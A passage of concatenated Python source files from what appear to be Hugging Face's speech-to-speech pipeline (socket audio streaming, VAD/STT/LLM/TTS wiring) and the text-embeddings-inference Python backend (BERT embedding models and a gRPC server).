+                outdata[:] = self.output_queue.get()[:, np.newaxis]
+        logger.debug('Available devices:')
+        logger.debug(sd.query_devices())
+        with sd.Stream(samplerate=16000, dtype='int16', channels=1, callback=callback, blocksize=self.list_play_chunk_size):
+            logger.info('Starting local audio stream')
+            while not self.stop_event.is_set():
+                time.sleep(0.001)
+            print('Stopping recording')
+
+# File: speech-to-speech-main/connections/socket_receiver.py
+import socket
+from rich.console import Console
+import logging
+logger = logging.getLogger(__name__)
+console = Console()
+
+class SocketReceiver:
+
+    def __init__(self, stop_event, queue_out, should_listen, host='0.0.0.0', port=12345, chunk_size=1024):
+        self.stop_event = stop_event
+        self.queue_out = queue_out
+        self.should_listen = should_listen
+        self.chunk_size = chunk_size
+        self.host = host
+        self.port = port
+
+    def receive_full_chunk(self, conn, chunk_size):
+        data = b''
+        while len(data) < chunk_size:
+            packet = conn.recv(chunk_size - len(data))
+            if not packet:
+                return None
+            data += packet
+        return data
+
+    def run(self):
+        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self.socket.bind((self.host, self.port))
+        self.socket.listen(1)
+        logger.info('Receiver waiting to be connected...')
+        (self.conn, _) = self.socket.accept()
+        logger.info('receiver connected')
+        self.should_listen.set()
+        while not self.stop_event.is_set():
+            audio_chunk = self.receive_full_chunk(self.conn, self.chunk_size)
+            if audio_chunk is None:
+                self.queue_out.put(b'END')
+                break
+            if self.should_listen.is_set():
+                self.queue_out.put(audio_chunk)
+        self.conn.close()
+        logger.info('Receiver closed')
+
+# File: speech-to-speech-main/connections/socket_sender.py
+import socket
+from rich.console import Console
+import logging
+logger = logging.getLogger(__name__)
+console = Console()
+
+class SocketSender:
+
+    def __init__(self, stop_event, queue_in, host='0.0.0.0', port=12346):
+        self.stop_event = stop_event
+        self.queue_in = queue_in
+        self.host = host
+        self.port = port
+
+    def run(self):
+        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self.socket.bind((self.host, self.port))
+        self.socket.listen(1)
+        logger.info('Sender waiting to be connected...')
+        (self.conn, _) = self.socket.accept()
+        logger.info('sender connected')
+        while not self.stop_event.is_set():
+            audio_chunk = self.queue_in.get()
+            self.conn.sendall(audio_chunk)
+            if isinstance(audio_chunk, bytes) and audio_chunk == b'END':
+                break
+        self.conn.close()
+        logger.info('Sender closed')
+
+# File: speech-to-speech-main/listen_and_play.py
+import socket
+import threading
+from queue import Queue
+from dataclasses import dataclass, field
+import sounddevice as sd
+from transformers import HfArgumentParser
+
+@dataclass
+class ListenAndPlayArguments:
+    send_rate: int = field(default=16000, metadata={'help': 'In Hz. Default is 16000.'})
+    recv_rate: int = field(default=16000, metadata={'help': 'In Hz. Default is 16000.'})
+    list_play_chunk_size: int = field(default=1024, metadata={'help': 'The size of data chunks (in bytes). Default is 1024.'})
+    host: str = field(default='localhost', metadata={'help': "The hostname or IP address for listening and playing. Default is 'localhost'."})
+    send_port: int = field(default=12345, metadata={'help': 'The network port for sending data. Default is 12345.'})
+    recv_port: int = field(default=12346, metadata={'help': 'The network port for receiving data. Default is 12346.'})
+
+def listen_and_play(send_rate=16000, recv_rate=44100, list_play_chunk_size=1024, host='localhost', send_port=12345, recv_port=12346):
+    send_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    send_socket.connect((host, send_port))
+    recv_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    recv_socket.connect((host, recv_port))
+    print('Recording and streaming...')
+    stop_event = threading.Event()
+    recv_queue = Queue()
+    send_queue = Queue()
+
+    def callback_recv(outdata, frames, time, status):
+        if not recv_queue.empty():
+            data = recv_queue.get()
+            outdata[:len(data)] = data
+            outdata[len(data):] = b'\x00' * (len(outdata) - len(data))
+        else:
+            outdata[:] = b'\x00' * len(outdata)
+
+    def callback_send(indata, frames, time, status):
+        if recv_queue.empty():
+            data = bytes(indata)
+            send_queue.put(data)
+
+    def send(stop_event, send_queue):
+        while not stop_event.is_set():
+            data = send_queue.get()
+            send_socket.sendall(data)
+
+    def recv(stop_event, recv_queue):
+
+        def receive_full_chunk(conn, chunk_size):
+            data = b''
+            while len(data) < chunk_size:
+                packet = conn.recv(chunk_size - len(data))
+                if not packet:
+                    return None
+                data += packet
+            return data
+        while not stop_event.is_set():
+            data = receive_full_chunk(recv_socket, list_play_chunk_size * 2)
+            if data:
+                recv_queue.put(data)
+    try:
+        send_stream = sd.RawInputStream(samplerate=send_rate, channels=1, dtype='int16', blocksize=list_play_chunk_size, callback=callback_send)
+        recv_stream = sd.RawOutputStream(samplerate=recv_rate, channels=1, dtype='int16', blocksize=list_play_chunk_size, callback=callback_recv)
+        threading.Thread(target=send_stream.start).start()
+        threading.Thread(target=recv_stream.start).start()
+        send_thread = threading.Thread(target=send, args=(stop_event, send_queue))
+        send_thread.start()
+        recv_thread = threading.Thread(target=recv, args=(stop_event, recv_queue))
+        recv_thread.start()
+        input('Press Enter to stop...')
+    except KeyboardInterrupt:
+        print('Finished streaming.')
+    finally:
+        stop_event.set()
+        recv_thread.join()
+        send_thread.join()
+        send_socket.close()
+        recv_socket.close()
+        print('Connection closed.')
+if __name__ == '__main__':
+    parser = HfArgumentParser((ListenAndPlayArguments,))
+    (listen_and_play_kwargs,) = parser.parse_args_into_dataclasses()
+    listen_and_play(**vars(listen_and_play_kwargs))
+
+# File: speech-to-speech-main/s2s_pipeline.py
+import logging
+import os
+import sys
+from copy import copy
+from pathlib import Path
+from queue import Queue
+from threading import Event
+from typing import Optional
+from sys import platform
+from VAD.vad_handler import VADHandler
+from arguments_classes.chat_tts_arguments import ChatTTSHandlerArguments
+from arguments_classes.language_model_arguments import LanguageModelHandlerArguments
+from arguments_classes.mlx_language_model_arguments import MLXLanguageModelHandlerArguments
+from arguments_classes.module_arguments import ModuleArguments
+from arguments_classes.paraformer_stt_arguments import ParaformerSTTHandlerArguments
+from arguments_classes.parler_tts_arguments import ParlerTTSHandlerArguments
+from arguments_classes.socket_receiver_arguments import SocketReceiverArguments
+from arguments_classes.socket_sender_arguments import SocketSenderArguments
+from arguments_classes.vad_arguments import VADHandlerArguments
+from arguments_classes.whisper_stt_arguments import WhisperSTTHandlerArguments
+from arguments_classes.melo_tts_arguments import MeloTTSHandlerArguments
+import torch
+import nltk
+from rich.console import Console
+from transformers import HfArgumentParser
+from utils.thread_manager import ThreadManager
+try:
+    nltk.data.find('tokenizers/punkt_tab')
+except (LookupError, OSError):
+    nltk.download('punkt_tab')
+try:
+    nltk.data.find('tokenizers/averaged_perceptron_tagger_eng')
+except (LookupError, OSError):
+    nltk.download('averaged_perceptron_tagger_eng')
+CURRENT_DIR = Path(__file__).resolve().parent
+os.environ['TORCHINDUCTOR_CACHE_DIR'] = os.path.join(CURRENT_DIR, 'tmp')
+console = Console()
+logging.getLogger('numba').setLevel(logging.WARNING)
+
+def prepare_args(args, prefix):
+    gen_kwargs = {}
+    for key in copy(args.__dict__):
+        if key.startswith(prefix):
+            value = args.__dict__.pop(key)
+            new_key = key[len(prefix) + 1:]
+            if new_key.startswith('gen_'):
+                gen_kwargs[new_key[4:]] = value
+            else:
+                args.__dict__[new_key] = value
+    args.__dict__['gen_kwargs'] = gen_kwargs
+
+def main():
+    parser = HfArgumentParser((ModuleArguments, SocketReceiverArguments, SocketSenderArguments, VADHandlerArguments, WhisperSTTHandlerArguments, ParaformerSTTHandlerArguments, LanguageModelHandlerArguments, MLXLanguageModelHandlerArguments, ParlerTTSHandlerArguments, MeloTTSHandlerArguments, ChatTTSHandlerArguments))
+    if len(sys.argv) == 2 and sys.argv[1].endswith('.json'):
+        (module_kwargs, socket_receiver_kwargs, socket_sender_kwargs, vad_handler_kwargs, whisper_stt_handler_kwargs, paraformer_stt_handler_kwargs, language_model_handler_kwargs, mlx_language_model_handler_kwargs, parler_tts_handler_kwargs, melo_tts_handler_kwargs, chat_tts_handler_kwargs) = parser.parse_json_file(json_file=os.path.abspath(sys.argv[1]))
+    else:
+        (module_kwargs, socket_receiver_kwargs, socket_sender_kwargs, vad_handler_kwargs, whisper_stt_handler_kwargs, paraformer_stt_handler_kwargs, language_model_handler_kwargs, mlx_language_model_handler_kwargs, parler_tts_handler_kwargs, melo_tts_handler_kwargs, chat_tts_handler_kwargs) = parser.parse_args_into_dataclasses()
+    global logger
+    logging.basicConfig(level=module_kwargs.log_level.upper(), format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
+    logger = logging.getLogger(__name__)
+    if module_kwargs.log_level == 'debug':
+        torch._logging.set_logs(graph_breaks=True, recompiles=True, cudagraphs=True)
+
+    def optimal_mac_settings(mac_optimal_settings: Optional[str], *handler_kwargs):
+        if mac_optimal_settings:
+            for kwargs in handler_kwargs:
+                if hasattr(kwargs, 'device'):
+                    kwargs.device = 'mps'
+                if hasattr(kwargs, 'mode'):
+                    kwargs.mode = 'local'
+                if hasattr(kwargs, 'stt'):
+                    kwargs.stt = 'whisper-mlx'
+                if hasattr(kwargs, 'llm'):
+                    kwargs.llm = 'mlx-lm'
+                if hasattr(kwargs, 'tts'):
+                    kwargs.tts = 'melo'
+    optimal_mac_settings(module_kwargs.local_mac_optimal_settings, module_kwargs)
+    if platform == 'darwin':
+        if module_kwargs.device == 'cuda':
+            raise ValueError("Cannot use CUDA on macOS. Please set the device to 'cpu' or 'mps'.")
+        if module_kwargs.llm != 'mlx-lm':
+            logger.warning('For macOS users, it is recommended to use mlx-lm. You can activate it by passing --llm mlx-lm.')
+        if module_kwargs.tts != 'melo':
+            logger.warning('If you experiences issues generating the voice, considering setting the tts to melo.')
+
+    def overwrite_device_argument(common_device: Optional[str], *handler_kwargs):
+        if common_device:
+            for kwargs in handler_kwargs:
+                if hasattr(kwargs, 'lm_device'):
+                    kwargs.lm_device = common_device
+                if hasattr(kwargs, 'tts_device'):
+                    kwargs.tts_device = common_device
+                if hasattr(kwargs, 'stt_device'):
+                    kwargs.stt_device = common_device
+                if hasattr(kwargs, 'paraformer_stt_device'):
+                    kwargs.paraformer_stt_device = common_device
+    overwrite_device_argument(module_kwargs.device, language_model_handler_kwargs, mlx_language_model_handler_kwargs, parler_tts_handler_kwargs, whisper_stt_handler_kwargs, paraformer_stt_handler_kwargs)
+    prepare_args(whisper_stt_handler_kwargs, 'stt')
+    prepare_args(paraformer_stt_handler_kwargs, 'paraformer_stt')
+    prepare_args(language_model_handler_kwargs, 'lm')
+    prepare_args(mlx_language_model_handler_kwargs, 'mlx_lm')
+    prepare_args(parler_tts_handler_kwargs, 'tts')
+    prepare_args(melo_tts_handler_kwargs, 'melo')
+    prepare_args(chat_tts_handler_kwargs, 'chat_tts')
+    stop_event = Event()
+    should_listen = Event()
+    recv_audio_chunks_queue = Queue()
+    send_audio_chunks_queue = Queue()
+    spoken_prompt_queue = Queue()
+    text_prompt_queue = Queue()
+    lm_response_queue = Queue()
+    if module_kwargs.mode == 'local':
+        from connections.local_audio_streamer import LocalAudioStreamer
+        local_audio_streamer = LocalAudioStreamer(input_queue=recv_audio_chunks_queue, output_queue=send_audio_chunks_queue)
+        comms_handlers = [local_audio_streamer]
+        should_listen.set()
+    else:
+        from connections.socket_receiver import SocketReceiver
+        from connections.socket_sender import SocketSender
+        comms_handlers = [SocketReceiver(stop_event, recv_audio_chunks_queue, should_listen, host=socket_receiver_kwargs.recv_host, port=socket_receiver_kwargs.recv_port, chunk_size=socket_receiver_kwargs.chunk_size), SocketSender(stop_event, send_audio_chunks_queue, host=socket_sender_kwargs.send_host, port=socket_sender_kwargs.send_port)]
+    vad = VADHandler(stop_event, queue_in=recv_audio_chunks_queue, queue_out=spoken_prompt_queue, setup_args=(should_listen,), setup_kwargs=vars(vad_handler_kwargs))
+    if module_kwargs.stt == 'whisper':
+        from STT.whisper_stt_handler import WhisperSTTHandler
+        stt = WhisperSTTHandler(stop_event, queue_in=spoken_prompt_queue, queue_out=text_prompt_queue, setup_kwargs=vars(whisper_stt_handler_kwargs))
+    elif module_kwargs.stt == 'whisper-mlx':
+        from STT.lightning_whisper_mlx_handler import LightningWhisperSTTHandler
+        stt = LightningWhisperSTTHandler(stop_event, queue_in=spoken_prompt_queue, queue_out=text_prompt_queue, setup_kwargs=vars(whisper_stt_handler_kwargs))
+    elif module_kwargs.stt == 'paraformer':
+        from STT.paraformer_handler import ParaformerSTTHandler
+        stt = ParaformerSTTHandler(stop_event, queue_in=spoken_prompt_queue, queue_out=text_prompt_queue, setup_kwargs=vars(paraformer_stt_handler_kwargs))
+    else:
+        raise ValueError('The STT should be either whisper, whisper-mlx, or paraformer.')
+    if module_kwargs.llm == 'transformers':
+        from LLM.language_model import LanguageModelHandler
+        lm = LanguageModelHandler(stop_event, queue_in=text_prompt_queue, queue_out=lm_response_queue, setup_kwargs=vars(language_model_handler_kwargs))
+    elif module_kwargs.llm == 'mlx-lm':
+        from LLM.mlx_language_model import MLXLanguageModelHandler
+        lm = MLXLanguageModelHandler(stop_event, queue_in=text_prompt_queue, queue_out=lm_response_queue, setup_kwargs=vars(mlx_language_model_handler_kwargs))
+    else:
+        raise ValueError('The LLM should be either transformers or mlx-lm')
+    if module_kwargs.tts == 'parler':
+        from TTS.parler_handler import ParlerTTSHandler
+        tts = ParlerTTSHandler(stop_event, queue_in=lm_response_queue, queue_out=send_audio_chunks_queue, setup_args=(should_listen,), setup_kwargs=vars(parler_tts_handler_kwargs))
+    elif module_kwargs.tts == 'melo':
+        try:
+            from TTS.melo_handler import MeloTTSHandler
+        except RuntimeError as e:
+            logger.error('Error importing MeloTTSHandler. You might need to run: python -m unidic download')
+            raise e
+        tts = MeloTTSHandler(stop_event, queue_in=lm_response_queue, queue_out=send_audio_chunks_queue, setup_args=(should_listen,), setup_kwargs=vars(melo_tts_handler_kwargs))
+    elif module_kwargs.tts == 'chatTTS':
+        try:
+            from TTS.chatTTS_handler import ChatTTSHandler
+        except RuntimeError as e:
+            logger.error('Error importing ChatTTSHandler')
+            raise e
+        tts = ChatTTSHandler(stop_event, queue_in=lm_response_queue, queue_out=send_audio_chunks_queue, setup_args=(should_listen,), setup_kwargs=vars(chat_tts_handler_kwargs))
+    else:
+        raise ValueError('The TTS should be either parler, melo or chatTTS')
+    try:
+        pipeline_manager = ThreadManager([*comms_handlers, vad, stt, lm, tts])
+        pipeline_manager.start()
+    except KeyboardInterrupt:
+        pipeline_manager.stop()
+if __name__ == '__main__':
+    main()
+

huggingface_text-embeddings-inference.txt

@@ -0,0 +1,385 @@
+# File: text-embeddings-inference-main/backends/python/server/text_embeddings_server/cli.py
+import sys
+import typer
+from pathlib import Path
+from loguru import logger
+from typing import Optional
+from enum import Enum
+app = typer.Typer()
+
+class Dtype(str, Enum):
+    float32 = 'float32'
+    float16 = 'float16'
+    bloat16 = 'bfloat16'
+
+@app.command()
+def serve(model_path: Path, dtype: Dtype='float32', uds_path: Path='/tmp/text-embeddings-server', logger_level: str='INFO', json_output: bool=False, otlp_endpoint: Optional[str]=None, otlp_service_name: str='text-embeddings-inference.server'):
+    logger.remove()
+    logger.add(sys.stdout, format='{message}', filter='text_embeddings_server', level=logger_level, serialize=json_output, backtrace=True, diagnose=False)
+    from text_embeddings_server import server
+    from text_embeddings_server.utils.tracing import setup_tracing
+    if otlp_endpoint is not None:
+        setup_tracing(otlp_endpoint=otlp_endpoint, otlp_service_name=otlp_service_name)
+    dtype = None if dtype is None else dtype.value
+    server.serve(model_path, dtype, uds_path)
+if __name__ == '__main__':
+    app()
+
+# File: text-embeddings-inference-main/backends/python/server/text_embeddings_server/models/__init__.py
+import torch
+from loguru import logger
+from pathlib import Path
+from typing import Optional
+from transformers import AutoConfig
+from transformers.models.bert import BertConfig
+from text_embeddings_server.models.model import Model
+from text_embeddings_server.models.default_model import DefaultModel
+__all__ = ['Model']
+torch.set_grad_enabled(False)
+FLASH_ATTENTION = True
+try:
+    from text_embeddings_server.models.flash_bert import FlashBert
+except ImportError as e:
+    logger.warning(f'Could not import Flash Attention enabled models: {e}')
+    FLASH_ATTENTION = False
+if FLASH_ATTENTION:
+    __all__.append(FlashBert)
+
+def get_model(model_path: Path, dtype: Optional[str]):
+    if dtype == 'float32':
+        dtype = torch.float32
+    elif dtype == 'float16':
+        dtype = torch.float16
+    elif dtype == 'bfloat16':
+        dtype = torch.bfloat16
+    else:
+        raise RuntimeError(f'Unknown dtype {dtype}')
+    if torch.cuda.is_available():
+        device = torch.device('cuda')
+    else:
+        if dtype != torch.float32:
+            raise ValueError('CPU device only supports float32 dtype')
+        device = torch.device('cpu')
+    config = AutoConfig.from_pretrained(model_path)
+    if config.model_type == 'bert':
+        config: BertConfig
+        if device.type == 'cuda' and config.position_embedding_type == 'absolute' and (dtype in [torch.float16, torch.bfloat16]) and FLASH_ATTENTION:
+            return FlashBert(model_path, device, dtype)
+        else:
+            return DefaultModel(model_path, device, dtype)
+    raise NotImplementedError
+
+# File: text-embeddings-inference-main/backends/python/server/text_embeddings_server/models/default_model.py
+import inspect
+import torch
+from pathlib import Path
+from typing import Type, List
+from transformers import AutoModel
+from opentelemetry import trace
+from text_embeddings_server.models import Model
+from text_embeddings_server.models.types import PaddedBatch, Embedding
+tracer = trace.get_tracer(__name__)
+
+class DefaultModel(Model):
+
+    def __init__(self, model_path: Path, device: torch.device, dtype: torch.dtype):
+        model = AutoModel.from_pretrained(model_path).to(dtype).to(device)
+        self.hidden_size = model.config.hidden_size
+        self.has_position_ids = inspect.signature(model.forward).parameters.get('position_ids', None) is not None
+        self.has_token_type_ids = inspect.signature(model.forward).parameters.get('token_type_ids', None) is not None
+        super(DefaultModel, self).__init__(model=model, dtype=dtype, device=device)
+
+    @property
+    def batch_type(self) -> Type[PaddedBatch]:
+        return PaddedBatch
+
+    @tracer.start_as_current_span('embed')
+    def embed(self, batch: PaddedBatch) -> List[Embedding]:
+        kwargs = {'input_ids': batch.input_ids, 'attention_mask': batch.attention_mask}
+        if self.has_token_type_ids:
+            kwargs['token_type_ids'] = batch.token_type_ids
+        if self.has_position_ids:
+            kwargs['position_ids'] = batch.position_ids
+        output = self.model(**kwargs)
+        embedding = output[0][:, 0]
+        cpu_results = embedding.view(-1).tolist()
+        return [Embedding(values=cpu_results[i * self.hidden_size:(i + 1) * self.hidden_size]) for i in range(len(batch))]
+
+# File: text-embeddings-inference-main/backends/python/server/text_embeddings_server/models/flash_bert.py
+import torch
+from pathlib import Path
+from torch import nn
+from typing import Type, List
+from safetensors import safe_open
+from transformers.activations import ACT2FN
+from transformers.models.bert import BertConfig
+from opentelemetry import trace
+import dropout_layer_norm
+from text_embeddings_server.models import Model
+from text_embeddings_server.models.types import FlashBatch, Embedding
+from text_embeddings_server.utils.flash_attn import attention
+tracer = trace.get_tracer(__name__)
+
+class FastLayerNorm:
+
+    def __init__(self, prefix, handle, device, dtype, config: BertConfig):
+        self.weight = handle.get_tensor(f'{prefix}.weight').to(dtype).to(device)
+        self.bias = handle.get_tensor(f'{prefix}.bias').to(dtype).to(device)
+        self.variance_epsilon = config.layer_norm_eps
+
+    def forward(self, hidden_states, residual=None):
+        (normed_hidden_states, res, *rest) = dropout_layer_norm.dropout_add_ln_fwd(hidden_states, residual, self.weight, self.bias, None, None, None, None, 0.0, self.variance_epsilon, 1.0, 0, None, False, False)
+        if res is None:
+            res = hidden_states
+        return (normed_hidden_states, res)
+
+class BertEmbeddings:
+
+    def __init__(self, prefix, handle, device, dtype, config: BertConfig):
+        self.word_embeddings_weight = handle.get_tensor(f'{prefix}.word_embeddings.weight').to(dtype).to(device)
+        self.token_type_embeddings_weight = handle.get_tensor(f'{prefix}.token_type_embeddings.weight').to(dtype).to(device)
+        if config.position_embedding_type == 'absolute':
+            self.position_embeddings_weight = handle.get_tensor(f'{prefix}.position_embeddings.weight').to(dtype).to(device)
+        else:
+            raise NotImplementedError('FlashBert only supports absolute position embeddings')
+        self.layer_norm = FastLayerNorm(f'{prefix}.LayerNorm', handle, device, dtype, config)
+
+    def forward(self, input_ids, token_type_ids, position_ids):
+        inputs_embeds = nn.functional.embedding(input_ids, self.word_embeddings_weight)
+        token_type_embeds = nn.functional.embedding(token_type_ids, self.token_type_embeddings_weight)
+        position_embeds = nn.functional.embedding(position_ids, self.position_embeddings_weight)
+        inputs_embeds += position_embeds
+        (embeddings, _) = self.layer_norm.forward(inputs_embeds, token_type_embeds)
+        return embeddings
+
+class BertAttention:
+
+    def __init__(self, prefix, handle, device, dtype, config: BertConfig):
+        query_weight = handle.get_tensor(f'{prefix}.self.query.weight')
+        query_bias = handle.get_tensor(f'{prefix}.self.query.bias')
+        key_weight = handle.get_tensor(f'{prefix}.self.key.weight')
+        key_bias = handle.get_tensor(f'{prefix}.self.key.bias')
+        value_weight = handle.get_tensor(f'{prefix}.self.value.weight')
+        value_bias = handle.get_tensor(f'{prefix}.self.value.bias')
+        self.qkv_weight = torch.cat([query_weight, key_weight, value_weight]).T.to(dtype).to(device)
+        self.qkv_bias = torch.cat([query_bias, key_bias, value_bias]).to(dtype).to(device)
+        self.dense_weight = handle.get_tensor(f'{prefix}.output.dense.weight').T.to(dtype).to(device)
+        self.dense_bias = handle.get_tensor(f'{prefix}.output.dense.bias').to(dtype).to(device)
+        self.layer_norm = FastLayerNorm(f'{prefix}.output.LayerNorm', handle, device, dtype, config)
+        self.head_size = config.hidden_size // config.num_attention_heads
+        self.softmax_scale = self.head_size ** (-0.5)
+        self.num_heads = config.num_attention_heads
+
+    def forward(self, hidden_states, cu_seqlens, max_s):
+        residual = hidden_states
+        qkv = torch.addmm(self.qkv_bias, hidden_states, self.qkv_weight)
+        (q, k, v) = qkv.view(-1, self.num_heads * 3, self.head_size).split(self.num_heads, dim=1)
+        attn_output = torch.empty_like(q)
+        attention(q, k, v, attn_output, cu_seqlens, max_s, self.softmax_scale)
+        hidden_states = torch.addmm(self.dense_bias, attn_output.view(-1, self.num_heads * self.head_size), self.dense_weight)
+        (hidden_states, _) = self.layer_norm.forward(hidden_states, residual)
+        return hidden_states
+
+class BertLayer:
+
+    def __init__(self, prefix, handle, device, dtype, config: BertConfig):
+        self.attention = BertAttention(f'{prefix}.attention', handle, device, dtype, config)
+        self.intermediate_weight = handle.get_tensor(f'{prefix}.intermediate.dense.weight').T.to(dtype).to(device)
+        self.intermediate_bias = handle.get_tensor(f'{prefix}.intermediate.dense.bias').to(dtype).to(device)
+        act = config.hidden_act
+        self.intermediate_act_fn = ACT2FN[act] if 'gelu' not in act else lambda x: torch.nn.functional.gelu(x, approximate='tanh' if act in ['gelu_fast', 'gelu_pytorch_tanh'] else 'none')
+        self.output_weight = handle.get_tensor(f'{prefix}.output.dense.weight').T.to(dtype).to(device)
+        self.output_bias = handle.get_tensor(f'{prefix}.output.dense.bias').to(dtype).to(device)
+        self.layer_norm = FastLayerNorm(f'{prefix}.output.LayerNorm', handle, device, dtype, config)
+
+    def forward(self, hidden_states, cu_seqlens, max_s):
+        hidden_states = self.attention.forward(hidden_states, cu_seqlens, max_s)
+        residual = hidden_states
+        hidden_states = torch.addmm(self.intermediate_bias, hidden_states, self.intermediate_weight)
+        hidden_states = self.intermediate_act_fn(hidden_states)
+        hidden_states = torch.addmm(self.output_bias, hidden_states, self.output_weight)
+        (hidden_states, _) = self.layer_norm.forward(hidden_states, residual)
+        return hidden_states
+
+class BertEncoder:
+
+    def __init__(self, prefix, handle, device, dtype, config: BertConfig):
+        self.layers = [BertLayer(f'{prefix}.layer.{i}', handle, device, dtype, config) for i in range(config.num_hidden_layers)]
+
+    def forward(self, hidden_states, cu_seqlens, max_s):
+        for layer in self.layers:
+            hidden_states = layer.forward(hidden_states, cu_seqlens, max_s)
+        return hidden_states
+
+class FlashBertModel:
+
+    def __init__(self, handle, device, dtype, config: BertConfig):
+        self.embeddings = BertEmbeddings('embeddings', handle, device, dtype, config)
+        self.encoder = BertEncoder('encoder', handle, device, dtype, config)
+
+    def forward(self, input_ids, token_type_ids, position_ids, cu_seqlens, max_s):
+        embeddings = self.embeddings.forward(input_ids, token_type_ids, position_ids)
+        encoder_outputs = self.encoder.forward(embeddings, cu_seqlens, max_s)
+        return encoder_outputs[cu_seqlens[:-1]]
+
+class FlashBert(Model):
+
+    def __init__(self, model_path: Path, device: torch.device, dtype: torch.dtype):
+        config = BertConfig.from_pretrained(model_path)
+        with safe_open(model_path / 'model.safetensors', framework='pt') as f:
+            model = FlashBertModel(f, device, dtype, config)
+        self.hidden_size = config.hidden_size
+        super(FlashBert, self).__init__(model=model, dtype=dtype, device=device)
+
+    @property
+    def batch_type(self) -> Type[FlashBatch]:
+        return FlashBatch
+
+    @tracer.start_as_current_span('embed')
+    def embed(self, batch: FlashBatch) -> List[Embedding]:
+        embedding = self.model.forward(input_ids=batch.input_ids, token_type_ids=batch.token_type_ids, position_ids=batch.position_ids, cu_seqlens=batch.cu_seqlens, max_s=batch.max_s)
+        cpu_results = embedding.view(-1).tolist()
+        return [Embedding(values=cpu_results[i * self.hidden_size:(i + 1) * self.hidden_size]) for i in range(len(batch))]
+
+# File: text-embeddings-inference-main/backends/python/server/text_embeddings_server/models/model.py
+import torch
+from abc import ABC, abstractmethod
+from typing import List, TypeVar, Type
+from text_embeddings_server.models.types import Batch, Embedding
+B = TypeVar('B', bound=Batch)
+
+class Model(ABC):
+
+    def __init__(self, model, dtype: torch.dtype, device: torch.device):
+        self.model = model
+        self.dtype = dtype
+        self.device = device
+
+    @property
+    @abstractmethod
+    def batch_type(self) -> Type[B]:
+        raise NotImplementedError
+
+    @abstractmethod
+    def embed(self, batch: B) -> List[Embedding]:
+        raise NotImplementedError
+
+# File: text-embeddings-inference-main/backends/python/server/text_embeddings_server/models/types.py
+import torch
+from abc import ABC, abstractmethod
+from dataclasses import dataclass
+from opentelemetry import trace
+from text_embeddings_server.pb import embed_pb2
+from text_embeddings_server.pb.embed_pb2 import Embedding
+tracer = trace.get_tracer(__name__)
+
+class Batch(ABC):
+
+    @classmethod
+    @abstractmethod
+    def from_pb(cls, pb: embed_pb2.EmbedRequest, device: torch.device) -> 'Batch':
+        raise NotImplementedError
+
+    @abstractmethod
+    def __len__(self):
+        raise NotImplementedError
+
+@dataclass
+class PaddedBatch(Batch):
+    input_ids: torch.Tensor
+    token_type_ids: torch.Tensor
+    position_ids: torch.Tensor
+    attention_mask: torch.Tensor
+
+    @classmethod
+    @tracer.start_as_current_span('from_pb')
+    def from_pb(cls, pb: embed_pb2.EmbedRequest, device: torch.device) -> 'PaddedBatch':
+        all_tensors = torch.zeros([4, len(pb.cu_seq_lengths) - 1, pb.max_length], dtype=torch.int32)
+        for (i, start_index) in enumerate(pb.cu_seq_lengths[:-1]):
+            end_index = pb.cu_seq_lengths[i + 1]
+            input_length = end_index - start_index
+            all_tensors[0, i, :input_length] = torch.tensor(pb.input_ids[start_index:end_index], dtype=torch.int32)
+            all_tensors[1, i, :input_length] = torch.tensor(pb.token_type_ids[start_index:end_index], dtype=torch.int32)
+            all_tensors[2, i, :input_length] = torch.tensor(pb.position_ids[start_index:end_index], dtype=torch.int32)
+            all_tensors[3, i, :input_length] = 1
+        all_tensors = all_tensors.to(device)
+        return PaddedBatch(input_ids=all_tensors[0], token_type_ids=all_tensors[1], position_ids=all_tensors[2], attention_mask=all_tensors[3])
+
+    def __len__(self):
+        return len(self.input_ids)
+
+@dataclass
+class FlashBatch(Batch):
+    input_ids: torch.Tensor
+    token_type_ids: torch.Tensor
+    position_ids: torch.Tensor
+    cu_seqlens: torch.Tensor
+    max_s: int
+    size: int
+
+    @classmethod
+    @tracer.start_as_current_span('from_pb')
+    def from_pb(cls, pb: embed_pb2.EmbedRequest, device: torch.device) -> 'FlashBatch':
+        if device.type != 'cuda':
+            raise RuntimeError(f'FlashBatch does not support device {device}')
+        batch_input_ids = torch.tensor(pb.input_ids, dtype=torch.int32, device=device)
+        batch_token_type_ids = torch.tensor(pb.token_type_ids, dtype=torch.int32, device=device)
+        batch_position_ids = torch.tensor(pb.position_ids, dtype=torch.int32, device=device)
+        cu_seqlens = torch.tensor(pb.cu_seq_lengths, dtype=torch.int32, device=device)
+        return FlashBatch(input_ids=batch_input_ids, token_type_ids=batch_token_type_ids, position_ids=batch_position_ids, cu_seqlens=cu_seqlens, max_s=pb.max_length, size=len(cu_seqlens) - 1)
+
+    def __len__(self):
+        return self.size
+
+# File: text-embeddings-inference-main/backends/python/server/text_embeddings_server/server.py
+import asyncio
+import torch
+from grpc import aio
+from loguru import logger
+from grpc_reflection.v1alpha import reflection
+from pathlib import Path
+from typing import Optional
+from text_embeddings_server.models import Model, get_model
+from text_embeddings_server.pb import embed_pb2_grpc, embed_pb2
+from text_embeddings_server.utils.tracing import UDSOpenTelemetryAioServerInterceptor
+from text_embeddings_server.utils.interceptor import ExceptionInterceptor
+
+class EmbeddingService(embed_pb2_grpc.EmbeddingServiceServicer):
+
+    def __init__(self, model: Model):
+        self.model = model
+        self._inference_mode_raii_guard = torch._C._InferenceMode(True)
+
+    async def Health(self, request, context):
+        if self.model.device.type == 'cuda':
+            torch.zeros((2, 2), device='cuda')
+        return embed_pb2.HealthResponse()
+
+    async def Embed(self, request, context):
+        batch = self.model.batch_type.from_pb(request, self.model.device)
+        embeddings = self.model.embed(batch)
+        return embed_pb2.EmbedResponse(embeddings=embeddings)
+
+def serve(model_path: Path, dtype: Optional[str], uds_path: Path):
+
+    async def serve_inner(model_path: Path, dtype: Optional[str]=None):
+        unix_socket = f'unix://{uds_path}'
+        try:
+            model = get_model(model_path, dtype)
+        except Exception:
+            logger.exception('Error when initializing model')
+            raise
+        server = aio.server(interceptors=[ExceptionInterceptor(), UDSOpenTelemetryAioServerInterceptor()])
